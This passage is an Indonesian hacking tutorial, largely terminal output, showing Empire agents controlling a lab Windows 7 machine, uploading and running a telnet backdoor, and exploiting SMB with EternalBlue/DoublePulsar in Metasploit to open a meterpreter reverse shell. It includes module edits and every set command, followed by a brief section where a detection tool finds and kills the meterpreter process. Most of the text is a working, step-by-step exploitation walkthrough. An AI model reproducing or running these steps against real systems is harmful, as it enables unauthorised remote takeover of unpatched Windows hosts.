  Name               Internal IP     Machine Name    Username            Process            Delay    Last Se
  ---------          -----------     ------------    ---------           -------            -----    -------
----------
  DZCBBKZBEX1VUYAC   192.168.1.58    WINDOWS7-PC     *WORKGROUP\SYSTEM   lsass/508          10/0.5   2017-04
03:20:35
  CBKN23FSZXNZL4ZX   192.168.1.58    WINDOWS7-PC     *WORKGROUP\SYSTEM   lsass/500          10/0.5   2017-04
11:59:18

(Empire: agents) >
```

Ketik agents

```
CBKN23FSZXNZL4ZX   192.168.1.58   WINDOWS7-PC     *WORKGROUP\SYSTEM   lsass/500          10/0
1:59:18

mpire: agents) > interact CBKN23FSZXNZL4ZX
mpire: CBKN23FSZXNZL4ZX) > dir
mpire: CBKN23FSZXNZL4ZX) >
stWriteTime                    length                        Name
----------                     ------                        ----
13/2009 9:56:48 PM                                           0409
24/2017 7:52:25 PM                                           AdvancedInstallers
13/2009 7:37:07 PM                                           ar-SA
13/2009 7:37:07 PM                                           bg-BG
24/2017 7:52:01 PM                                           Boot
24/2017 7:41:31 PM                                           catroot
24/2017 7:41:31 PM                                           catroot2
31/2013 1:06:28 AM                                           CodeIntegrity
13/2009 9:56:47 PM                                           com
22/2017 8:59:43 AM                                           config
24/2017 7:52:25 PM                                           cs-CZ
24/2017 7:52:28 PM                                           da-DK
13/2009 7:37:07 PM                                           de-DE
```

Melakukan interaksi dengan cara seperti di atas

```
(Empire: CBKN23FSZXNZL4ZX) > sysinfo
(Empire: CBKN23FSZXNZL4ZX) >
Listener:          http://192.168.1.29:8080
Internal IP:       192.168.1.58
Username:          WORKGROUP\SYSTEM
Hostname:          WINDOWS7-PC
OS:                Microsoft Windows 7 Ultimate
High Integrity:    1
Process Name:      lsass
Process ID:        500
PSVersion:         2
```

sysinfo

```
info

[*] Agent info:

        ps_version          2
        old_uris            None
        jitter              0.5
        servers             None
        internal_ip         192.168.1.58
        working_hours
        session_key         M%={12KsPRcY^l/`6BG0!qAXH)I#($@d
        children            None
        checkin_time        2017-04-22 11:55:43
        hostname            WINDOWS7-PC
        delay               10
        uris                /admin/get.php,/news.asp,/login/process.jsp
        username            WORKGROUP\SYSTEM
        kill_date
        parent              None
        process_name        lsass
        listener            http://192.168.1.29:8080
        sessionID           CBKN23FSZXNZL4ZX
```

info

```
(Empire: CBKN23FSZXNZL4ZX) > shell cd\
(Empire: CBKN23FSZXNZL4ZX) > dir
(Empire: CBKN23FSZXNZL4ZX) >

LastWriteTime                    length                    Name
-------------                    ------                    ----
1/31/2013 1:13:00 AM                                       $Recycle.Bin
11/16/2014 7:11:06 AM                                      ALLMediaServer
12/3/2014 9:50:22 AM                                       data
7/13/2009 9:53:55 PM                                       Documents and Settings
11/16/2014 7:11:06 AM                                      freefloat
11/16/2014 7:11:06 AM                                      pcman
7/13/2009 7:37:05 PM                                       PerfLogs
11/16/2014 2:34:21 PM                                      Program Files
7/13/2009 9:53:55 PM                                       ProgramData
11/16/2014 6:54:35 AM                                      Python27
1/31/2013 1:06:39 AM                                       Recovery
4/22/2017 8:48:45 AM                                       System Volume Information
1/31/2013 1:12:35 AM                                       Users
4/22/2017 8:52:01 AM                                       Windows
1/31/2013 2:24:06 AM                                       xampp
6/10/2009 2:42:20 PM                24                     autoexec.bat
6/10/2009 2:42:20 PM                10                     config.sys
1/31/2013 1:58:44 AM                0                      dfinstall.log
11/16/2014 6:44:35 AM               0                      IO.SYS
11/16/2014 6:44:35 AM               0                      MSDOS.SYS
```

dir

```
root@kalidata:/home# wget http://192.168.1.9/telnet2.exe
--2017-04-22 12:10:58--  http://192.168.1.9/telnet2.exe
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6688 (6.5K) [application/x-msdownload]
Saving to: 'telnet2.exe'

telnet2.exe         100%[===================>]   6.53K  --.-KB/s    in 0s

2017-04-22 12:10:58 (356 MB/s) - 'telnet2.exe' saved [6688/6688]

root@kalidata:/home#
```

```
16/2014 7:11:06 AM                                          freefloatftpserver-list b
/2012 3:44:40 AM                22749412                    ImmunityDebugger_1_85_set
2/2017 9:10:20 AM               1234120                     winrar.exe
ectory: C:\freefloat


e                LastWriteTime     Length Name
-                -------------     ------ ----
--        11/16/2014   7:11 AM            freefloatftpserver-list bof
--          8/8/2012   3:44 AM   22749412 ImmunityDebugger_1_85_setup.exe
--         4/22/2017   9:10 AM    1234120 winrar.exe
```

Mengambil file telnet2.exe dari komputer lain

```
Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         11/16/2014   7:11 AM            freefloatftpserver-list bof
-a---          8/8/2012   3:44 AM   22749412 ImmunityDebugger_1_85_setup.exe
-a---         4/22/2017   9:10 AM    1234120 winrar.exe

(Empire: CBKN23FSZXNZL4ZX) > upload /home/telnet2.exe
(Empire: CBKN23FSZXNZL4ZX) > dir
(Empire: CBKN23FSZXNZL4ZX) >
LastWriteTime                    length                        Name
-------------                    ------                        ----
11/16/2014 7:11:06 AM                                          freefloatftpserver-list bof
8/8/2012 3:44:40 AM              22749412                      ImmunityDebugger_1_85_setup.exe
4/22/2017 9:11:53 AM             6688                          telnet2.exe
4/22/2017 9:10:20 AM             1234120                       winrar.exe
```

telnet2.exe di upload dari /home/telnet2.exe ke komputer target

```
C:\testing
upload /home/telnet2.exe
(Empire: GTEEWBZKP1PRLRWT) > dir
(Empire: GTEEWBZKP1PRLRWT) > u
LastWriteTime                                                Length Name

-------------                                                ------ ----

4/22/2017 9:36:10 AM                                           6688 telnet2.exe
shell c:\testing\telnet2.exe
(Empire: GTEEWBZKP1PRLRWT) >
```

Hasilnya seperti di atas

Ketik

telnet 192.168.1.58 5000 di PC attacker, jika menggunakan Windows 10 maka aktifkan dulu telnet client atau menggunakan putty

Alternatif lain dengan Metasploit Framework

```
msf > search Eternalblue
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                          Disclosure Date  Rank    Descri
ption
   ----                                          ---------------  ----    ------
-----
   exploit/windows/smb/eternalblue_doublepulsar                   normal  Eterna
lBlue


msf >
```

search Eternalblue

```
msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP (all services pack) (x86) (x64)
   1   Windows Server 2003 SP0 (x86)
   2   Windows Server 2003 SP1/SP2 (x86)
   3   Windows Server 2003 (x64)
   4   Windows Vista (x86)
   5   Windows Vista (x64)
   6   Windows Server 2008 (x86)
   7   Windows Server 2008 R2 (x86) (x64)
   8   Windows 7 (all services pack) (x86) (x64)


msf exploit(eternalblue_doublepulsar) >
```

use exploit/windows/smb/eternalblue_doublepulsar

```
msf exploit(eternalblue_doublepulsar) > set target 8
target => 8
msf exploit(eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_
tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(eternalblue_doublepulsar) > show options

Module options (exploit/windows/smb/eternalblue_doublepulsar):

   Name                 Current Setting                                  Required
   Description
   ----                 ---------------                                  --------
   -----------
   DOUBLEPULSARPATH     /home/Eternalblue-Doublepulsar-Metasploit/deps/  yes
   Path directory of Doublepulsar
   ETERNALBLUEPATH      /home/Eternalblue-Doublepulsar-Metasploit/deps/  yes
```

set target 8

set payload windows/meterpreter/reverse_tcp

show options

```
File  Edit  View  Search  Terminal  Help
   Name                 Current Setting                                  Required
   Description
   ----                 ---------------                                  --------
   -----------
   DOUBLEPULSARPATH     /home/Eternalblue-Doublepulsar-Metasploit/deps/  yes
   Path directory of Doublepulsar
   ETERNALBLUEPATH      /home/Eternalblue-Doublepulsar-Metasploit/deps/  yes
   Path directory of Eternalblue
   PROCESSINJECT        wlms.exe                                         yes
   Name of process to inject into (Change to lsass.exe for x64)
   RHOST                                                                 yes
   The target address
   RPORT                445                                              yes
   Set the SMB service port
   TARGETARCHITECTURE   x86                                              yes
   Target Architecture (Accepted: x86, x64)
   WINEPATH             /root/.wine/drive_c/                             yes
   WINE drive_c path
```

```
Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, threa
d, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   8   Windows 7 (all services pack) (x86) (x64)
```

```
File  Edit  View  Search  Terminal  Help
msf exploit(eternalblue_doublepulsar) >
msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT lsass.exe
PROCESSINJECT => lsass.exe
msf exploit(eternalblue_doublepulsar) > set lhost 192.168.1.29
lhost => 192.168.1.29
msf exploit(eternalblue_doublepulsar) > set rhost 192.168.1.58
rhost => 192.168.1.58
msf exploit(eternalblue_doublepulsar) > exploit

[*] Started reverse TCP handler on 192.168.1.29:4444
[*] Generating Eternalblue XML data
[*] Generating Doublepulsar XML data
[*] Generating payload DLL for Doublepulsar
[*] Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] Launching Eternalblue...
[+] Pwned! Eternalblue success!
[*] Launching Doublepulsar...
[*] Sending stage (957487 bytes) to 192.168.1.58
[*] Meterpreter session 1 opened (192.168.1.29:4444 -> 192.168.1.58:49167) at 20
17-05-21 09:34:20 -0400
[+] Remote code executed... 3... 2... 1...

meterpreter >
```

set PROCESSINECT lsass.exe (jika targetnya windows 7 64bit, jika 32bit maka explorer.exe)

set lhost 192.168.1.29

set rhost 192.168.1.58

exploit

Hacking SMB Windows 7 dengan metasploit

```
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.100  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::8010:1817:4ba2:e0bd  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:b2:f9:06  txqueuelen 1000  (Ethernet)
        RX packets 79  bytes 91159 (89.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 71  bytes 6141 (5.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1  (Local Loopback)
        RX packets 14  bytes 798 (798.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 14  bytes 798 (798.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

root@kali:~# service ssh start
root@kali:~# useradd kurniawan
root@kali:~# passwd kurniawan
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@kali:~# cd /etc
root@kali:/etc# nano sudoers
```

ifconfig untuk melihat ip yang digunakan

Ketik service ssh start untuk menghidupkan service ssh

Untuk menambah user, ketik useradd kurniawan

Untuk memberikan password, ketik passwd kurniawan

Untuk menjadikan user kurniawan menjadi admin maka masuk ke /etc lalu ketik nano sudoers lalu enter

```
  GNU nano 2.7.4                                    File: sudoers

#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL
kurniawan ALL=(ALL:ALL) ALL
```

Tambahkan kurniawan seperti di atas

Lakukan koneksi dengan putty

```
root@kali: /
login as: kurniawan
kurniawan@192.168.1.100's password:

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Could not chdir to home directory /home/kurniawan: No such file or directory
$ sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for kurniawan:
root@kali:/#
```

Login

```
root@kali:~# git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-M
etasploit.git
Cloning into 'Eternalblue-Doublepulsar-Metasploit'...
remote: Counting objects: 61, done.
remote: Total 61 (delta 0), reused 0 (delta 0), pack-reused 61
Unpacking objects: 100% (61/61), done.
root@kali:~#
```

Jalankan git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-metasploit.git

Masuk ke dalam folder

Sorot lalu copy

Pilih Places lalu Computer

Pilih USR

Pilih SHARE

Pilih metasploit-framework

Pilih modules

Pilih exploits

Pilih windows

Pilih SMB

Klik kanan lalu paste

Hasilnya seperti di atas setelah dilakukan paste

Masuk ke file eternalblue-doublepulsar.rb

```
        'ExitFunc'       => 'thread',
        'Target'                 => 0,
    'License'     => MSF_LICENSE,
              )

              )

      register_options([
              OptEnum.new('TARGETARCHITECTURE', [true,'Target Architecture','x86',['x86','x64']]),
              OptString.new('ETERNALBLUEPATH',[true,'Path directory of Eternalblue','/root/Eternalblue-
oublepulsar-Metasploit/deps/']),
              OptString.new('DOUBLEPULSARPATH',[true,'Path directory of Doublepulsar','/root/Eternalblue-
oublepulsar-Metasploit/deps/']),
              OptString.new('WINEPATH',[true,'WINE drive_c path','/root/.wine/drive_c/']),
              OptString.new('PROCESSINJECT',[true,'Name of process to inject into (Change to lsass.exe for
64)','wlms.exe'])
      ], self.class)

register_advanced_options([
  OptInt.new('TimeOut',[false,'Timeout for blocking network calls (in seconds)',60]),
  OptString.new('DLLName',[true,'DLL name for Doublepulsar','eternal11.dll'])
], self.class)

end

def exploit
```

Ganti seperti yang dibawah

```
              )

      register_options([
              OptEnum.new('TARGETARCHITECTURE', [true,'Target Architecture','x86',['x86','x64']]),
              OptString.new('ETERNALBLUEPATH',[true,'Path directory of Eternalblue','/usr/share/metasploit-
framework/modules/exploits/windows/smb/deps/']),
              OptString.new('DOUBLEPULSARPATH',[true,'Path directory of Doublepulsar','/usr/share/metasploit-
framework/modules/exploits/windows/smb/deps/']),
              OptString.new('WINEPATH',[true,'WINE drive_c path','/root/.wine/drive_c/']),
              OptString.new('PROCESSINJECT',[true,'Name of process to inject into (Change to lsass.exe for
x64)','explorer.exe'])
      ], self.class)

  register_advanced_options([
    OptInt.new('TimeOut',[false,'Timeout for blocking network calls (in seconds)',60]),
    OptString.new('DLLName',[true,'DLL name for Doublepulsar','eternal11.dll'])
  ], self.class)
```

Ganti menjadi seperti ini

```
Applications ▾   Places ▾   Text Editor ▾   Sun 07:53
Open ▾   eternalblue_doublepulsar.rb   Save
/usr/share/metasploit-framework/modules/exploits/windows/smb
        ['Windows Server 2003 (x64)',{}],
        ['Windows Vista (x86)',{}],
        ['Windows Vista (x64)',{}],
        ['Windows Server 2008 (x86) ',{}],
        ['Windows Server 2008 R2 (x86) (x64)',{}],
        ['Windows 7 (all services pack) (x86) (x64)',{}]
      ],
    'Arch'           => [ARCH_X86,ARCH_X64],
        'ExitFunc'       => 'thread',
        'Target'                => 0,
    'License'     => MSF_LICENSE,
              )

              )

      register_options([
              OptEnum.new('TARGETARCHITECTURE', [true,'Target Architecture','x86',['x86','x64']]),
              OptString.new('ETERNALBLUEPATH',[true,'Path directory of Eternalblue','/usr/share/metasploit-
framework/modules/exploits/windows/smb/deps/']),
              OptString.new('DOUBLEPULSARPATH',[true,'Path directory of Doublepulsar','/usr/share/metasploit-
framework/modules/exploits/windows/smb/deps/']),
              OptString.new('WINEPATH',[true,'WINE drive_c path','/root/.wine/drive_c/']),
              OptString.new('PROCESSINJECT',[true,'Name of process to inject into (Change to lsass.exe for
x64)','explorer.exe'])
      ], self.class)
```

Save

```
root@kali:/etc# service postgresql start
root@kali:/etc# msfconsole
```

service postgresql start

msfconsole

```
msf > search eternalblue
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                                     Disclosure Date  Rank    Description
   ----                                                     ---------------  ----    -----------
   exploit/windows/smb/eternalblue_doublepulsar                              normal  EternalBlue

msf > use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > show targets
Exploit targets:

   Id  Name
   --  ----
   0   Automatic
   1   Windows XP (all services pack) (x86) (x64)
   2   Windows Server 2003 SP0 (x86)
   3   Windows Server 2003 SP1/SP2 (x86)
   4   Windows Server 2003 (x64)
   5   Windows Vista (x86)
   6   Windows Vista (x64)
   7   Windows Server 2008 (x86)
   8   Windows Server 2008 R2 (x86) (x64)
   9   Windows 7 (all services pack) (x86) (x64)
```

search eternalblue

```
msf exploit(eternalblue_doublepulsar) > set target 9
target => 9
msf exploit(eternalblue_doublepulsar) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(eternalblue_doublepulsar) > set rhost 192.168.1.58
rhost => 192.168.1.58
msf exploit(eternalblue_doublepulsar) > ifconfig
[*] exec: ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.100  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::8010:1817:4ba2:e0bd  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:b2:f9:06  txqueuelen 1000  (Ethernet)
        RX packets 6200  bytes 7234315 (6.8 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4115  bytes 370129 (361.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1  (Local Loopback)
        RX packets 127  bytes 46971 (45.8 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 127  bytes 46971 (45.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

msf exploit(eternalblue_doublepulsar) > set lhost 192.168.1.100
lhost => 192.168.1.100
```

set target 9

set payload windows/meterpreter/reverse_tcp

set rhost 192.168.1.58

ifconfig untuk membantu set lhost

set lhost 192.168.1.100

```
msf exploit(eternalblue_doublepulsar) > show options

Module options (exploit/windows/smb/eternalblue_doublepulsar):

   Name                Current Setting                                                    Required  Desc
   ----                ---------------                                                    --------  ----
   DOUBLEPULSARPATH    /usr/share/metasploit-framework/modules/exploits/windows/smb/deps/  yes       Path
ory of Doublepulsar
   ETERNALBLUEPATH     /usr/share/metasploit-framework/modules/exploits/windows/smb/deps/  yes       Path
ory of Eternalblue
   PROCESSINJECT       explorer.exe                                                       yes       Name
cess to inject into (Change to lsass.exe for x64)
   RHOST               192.168.1.58                                                       yes       The
address
   RPORT               445                                                                yes       The
vice port (TCP)
   TARGETARCHITECTURE  x86                                                                yes       Targ
itecture (Accepted: x86, x64)
   WINEPATH            /root/.wine/drive_c/                                               yes       WINE
c path

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.100    yes       The listen address
```

show options

```
root@kali:/etc# cd /root
root@kali:~# mkdir .wine
root@kali:~# cd .wine
root@kali:~/.wine# mkdir drive_c
root@kali:~/.wine# ls
drive_c
root@kali:~/.wine#
```

Di terminal

cd /root

mkdir .wine

cd .wine

mkdir drive_c

```
msf exploit(eternalblue_doublepulsar) > exploit
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.58:445 - Generating Eternalblue XML data
[*] 192.168.1.58:445 - Generating Doublepulsar XML data
[*] 192.168.1.58:445 - Generating payload DLL for Doublepulsar
[*] 192.168.1.58:445 - Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] 192.168.1.58:445 - Launching Eternalblue...
err:ole:marshal_object couldn't get IPSFactory buffer for interface {00000131-0000-0000-c000-000000000046}
err:ole:marshal_object couldn't get IPSFactory buffer for interface {00000131-0000-0000-c000-000000000046}
err:ole:marshal_object couldn't get IPSFactory buffer for interface {6d5140c1-7436-11ce-8034-00aa006009fa}
err:ole:StdMarshalImpl_MarshalInterface Failed to create ifstub, hres=0x80004002
err:ole:CoMarshalInterface Failed to marshal the interface {6d5140c1-7436-11ce-8034-00aa006009fa}, 80004002
err:ole:marshal_object couldn't get IPSFactory buffer for interface {6d5140c1-7436-11ce-8034-00aa006009fa}
err:ole:get_local_server_stream Failed: 80004002
err:ole:StdMarshalImpl_MarshalInterface Failed to create ifstub, hres=0x80004002
err:ole:CoMarshalInterface Failed to marshal the interface {6d5140c1-7436-11ce-8034-00aa006009fa}, 80004002
err:ole:get_local_server_stream Failed: 80004002
Could not load wine-gecko. HTML rendering will be disabled.
wine: configuration in '/root/.wine' has been updated.
[+] 192.168.1.58:445 - Pwned! Eternalblue success!
[*] 192.168.1.58:445 - Launching Doublepulsar...
[*] Sending stage (957487 bytes) to 192.168.1.58
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.58:49167) at 2017-08-27 08:13:24 +0000
[+] 192.168.1.58:445 - Remote code executed... 3... 2... 1...
meterpreter >
```

Ketik exploit lalu enter

Materi sisipan

Meterpreter Payload Detection IDS/IPS

Tool untuk mendeteksi payload meterpreter di memory

Download :
https://github.com/DamonMohammadbagher/Meterpreter_Payload_Detection/blob/master/Release_v1.0.0.5/Meterpreter_Payload_Detection_v1.0.0.5.zip

Setelah di download lalu dilakukan extract di windows

Start lalu pilih command prompt lalu klik kanan, pilih Run as administrator

```
02/08/2018  04:56 AM    <DIR>          .
02/08/2018  04:56 AM    <DIR>
12/19/2016  03:35 PM            37,296 Meterpreter_Payload_Detection.cs
12/19/2016  03:35 PM            17,920 Meterpreter_Payload_Detection.exe
12/19/2016  03:43 PM               305 Release_v1.0.0.5.txt
               3 File(s)         57,521 bytes
               2 Dir(s)  17,376,358,400 bytes free

C:\msfdetect>Meterpreter_Payload_Detection


[#] Meterpreter Payload Detection
[#] IDS-IPS Version: 1.0.0.5
[#] Console version Published by Damon Mohammadbagher
[#] API code and Meterpreter Signature by Rohan Vazarkar, David Bitner
[#] 2/8/2018 5:17:41 AM Started time
[#] IDS Mode only

Scanning 36 process
05:17:41.7577424 : 1244 svchost  is OK
05:17:41.7978000 : 2392 FrzState2k  is OK
05:17:41.8378576 : 344 csrss  is OK
05:17:41.8779152 : 432 winlogon  is OK
05:17:41.9179728 : 608 svchost  is OK
05:17:41.9580304 : 512 lsm  is OK
05:17:41.9980880 : 776 svchost  is OK
05:17:42.0381456 : 864 svchost  is OK
05:17:42.0782032 : 1092 svchost  is OK
05:17:42.1182608 : 504 lsass  is OK
05:17:42.5188368 : 3592 iexplore  is OK
05:17:42.5588944 : 1480 svchost  is OK
05:17:42.6990960 : 500 taskhost  is OK
05:17:42.7391536 : 944 svchost  is OK
05:17:42.8392976 : 3968 conhost  is OK
05:17:43.1797872 : 2980 Meterpreter_Payload_Detection  is OK
05:17:43.2198448 : 1340 spoolsv  is OK
05:17:43.2599024 : 668 DFServ  is OK
05:17:43.2999600 : 2268 wmpnetwk  is OK
05:17:43.3400176 : 1376 svchost  is OK
```

Program Meterpreter_Payload_Detection dijalankan

```
05:06:40.3166016 : 2092 iexplore  is OK
05:06:40.4367744 : 1976 dwm  is OK
05:06:40.4768320 : 728 svchost  is OK
05:06:40.5168896 : 904 WmiPrvSE  is OK
05:06:40.5569472 : 272 smss  is OK
05:06:40.5970048 : 4 System  is OK
05:06:40.6370624 : 0 Idle  is OK
05:06:50.8217072 : 4076 conhost  is OK
05:06:50.8817936 : 2736 cmd  is OK


[#] Meterpreter Payload Detection
[#] IDS-IPS Version: 1.0.0.5
[#] Console version Published by Damon Mohammadbagher
[#] API code and Meterpreter Signature by Rohan Vazarkar, David Bitner
[#] 2/8/2018 5:07:40 AM Started time
[#] IDS Mode only

Scanning 39 process
05:07:40.6934192 : 1244 svchost  is OK
05:07:40.7334768 : 2392 FrzState2k  is OK
05:07:40.7735344 : 344 csrss  is OK
05:07:40.8135920 : 432 winlogon  is OK
05:07:40.8536496 : 608 svchost  is OK
05:07:40.8937072 : 512 lsm  is OK
05:07:41.0038656 : 3240 conhost  is OK
05:07:41.0439232 : 776 svchost  is OK
05:07:41.0839808 : 864 svchost  is OK
05:07:41.1240384 : 1092 svchost  is OK
05:07:41.1640960 : 504 lsass  is OK
05:07:41.5746864 : 3592 iexplore  is OK
05:07:41.6147440 : 1480 svchost  is OK
05:07:41.7549456 : 500 taskhost  is OK
05:07:41.7950032 : 944 svchost  is OK
05:07:41.8951472 : 1832 cmd  is OK
05:07:42.2456512 : 1636 Meterpreter_Payload_Detection  is OK
05:07:42.2857088 : 1340 spoolsv  is OK
```

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
msf exploit(eternalblue_doublepulsar) > exploit

[*] Started reverse TCP handler on 192.168.1.29:4444
[*] Generating Eternalblue XML data
[*] Generating Doublepulsar XML data
[*] Generating payload DLL for Doublepulsar
[*] Writing DLL in /root/.wine/drive_c/eternal11.dll
[*] Launching Eternalblue...
[+] Pwned! Eternalblue success!
[*] Launching Doublepulsar...
[*] Sending stage (957487 bytes) to 192.168.1.58
[*] Meterpreter session 1 opened (192.168.1.29:4444 -> 192.168.1.58:49223) at 20
18-02-07 17:05:32 -0500
[+] Remote code executed... 3... 2... 1...

meterpreter > shell
Process 2736 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>exit
exit
meterpreter > sysinfo
```

Eksploitasi remote SMB Windows 7 dengan menggunakan payload meterpreter

```
Administrator: Command Prompt - Meterpreter_Payload_Detection
05:05:18.7793568 : 396 cmd  is OK
05:05:19.7908112 : 1196 explorer  is OK
05:05:19.8308688 : 3064 mscorsvw  is OK
05:05:19.8709264 : 392 csrss  is OK
05:05:19.9109840 : 1844 svchost  is OK
05:05:19.9510416 : 2620 WmiPrvSE  is OK
05:05:19.9910992 : 2168 SearchIndexer  is OK
05:05:20.0311568 : 476 services  is OK
05:05:20.1313008 : 208 conhost  is OK
05:05:20.1713584 : 3120 svchost  is OK
05:05:20.2114160 : 380 wininit  is OK
05:05:21.2128560 : 2092 iexplore  is OK
05:05:21.3330288 : 1976 dwm  is OK
05:05:21.3730864 : 728 svchost  is OK
05:05:21.4131440 : 272 smss  is OK
05:05:21.4532016 : 4 System  is OK
05:05:21.4932592 : 0 Idle  is OK

        Infected Memory bytes :
        8C-8B-9B-9E-8F-96-A0-8C-86-8C-A0-8F-8D-90-9C-9A-8C-8C-A0-98-
        9A-8B-8F-96-9B-FF-FF-FF-8C-8B-9B-9E-8F-96-A0-8C-86-8C-A0-8F-
        8D-90-9C-9A-8C-8C-A0-98-9A-8B-A0-96-91-99-90-FF-8C-8B-9B-9E-
        8F-96-A0-8C-86-8C-A0-8F-8D-90-9C-9A-8C-8C-A0-88-9E-96-8B-FF-
        8C-8B-9B-9E-8F-96-A0-8C-86-8C-A0-8F-8D-90-9C-9A-8C-8C-A0-96-

        Process Arguments :

05:05:36.8553488
        Warning : Meterpreter Process Found in Memory !!!
        Process BaseAddress :  7667712
        Process EntryPointAddress :  7673740
        Infected Process: rundll32 :  2796
        rundll32.exe
                Process Thread ID: 2220
                   Tid StartAddress: 0
                Process Thread ID: 2380
                   Tid StartAddress: 1995337880
                Process Thread ID: 2376
                   Tid StartAddress: 1995337880
        Infected Process should be killed : rundll32
        Infected Process path : C:\Windows\system32\rundll32.exe
05:05:42.7638448 : 904 WmiPrvSE  is OK
```

Saat meterpreter aktif, maka terdeteksi meterpreter pada tool tersebut

```
5:12:05.4140688 : 1196 explorer  is OK
5:12:05.4541264 : 3064 mscorsvw  is OK

        Infected Memory bytes :
        8C-8B-9B-9E-8F-96-A0-8C-86-8C-A0-8F-8D-90-9C-9A-8C-8C-A0-98-
        9A-8B-8F-96-9B-FF-FF-FF-8C-8B-9B-9E-8F-96-A0-8C-86-8C-A0-8F-
        8D-90-9C-9A-8C-8C-A0-98-9A-8B-A0-96-91-99-90-FF-8C-8B-9B-9E-
        8F-96-A0-8C-86-8C-A0-8F-8D-90-9C-9A-8C-8C-A0-88-9E-96-8B-FF-
        8C-8B-9B-9E-8F-96-A0-8C-86-8C-A0-8F-8D-90-9C-9A-8C-8C-A0-96-

        Process Arguments :

5:12:05.5242272
        Warning : Meterpreter Process Found in Memory !!!
        Process BaseAddress :  7667712
        rundll32.exe
                Process Thread ID: 2220
                   Tid StartAddress: 0
                Process Thread ID: 2376
        Process EntryPointAddress :  7673740
                   Tid StartAddress: 1995337880
                Process Thread ID: 2296
                   Tid StartAddress: 1995337880
        Infected Process: rundll32 :  2796
        Infected Process should be killed : rundll32
        Infected Process path : C:\Windows\system32\rundll32.exe
5:12:05.6544144 : 392 csrss  is OK
5:12:05.6944720 : 1844 svchost  is OK
5:12:05.7345296 : 2168 SearchIndexer  is OK
5:12:05.7745872 : 476 services  is OK
5:12:05.8747312 : 208 conhost  is OK
5:12:05.9147888 : 3120 svchost  is OK
5:12:05.9548464 : 380 wininit  is OK
5:12:06.9863296 : 2092 iexplore  is OK
```

Infeksi proses ada di file rundll32 dengan PID 2796

```
05:14:13.
05:14:13.  C:\Users\windows7>taskkill /PID 2796
05:14:13.  ERROR: The process with PID 2796 could not be terminated.
05:14:15.  Reason: This process can only be terminated forcefully (with /F option).
05:14:15.
05:14:15.  C:\Users\windows7>taskkill /F /PID 2796
05:14:15.  SUCCESS: The process with PID 2796 has been terminated.
05:14:15.
05:14:1    C:\Users\windows7>_
05:14:15.
05:14:15.3609232 : 3120 svchost  is OK
05:14:15.4009808 : 380 wininit  is OK
05:14:16.4825360 : 2092 iexplore  is OK
05:14:16.6227376 : 1976 dwm  is OK
05:14:16.6627952 : 728 svchost  is OK
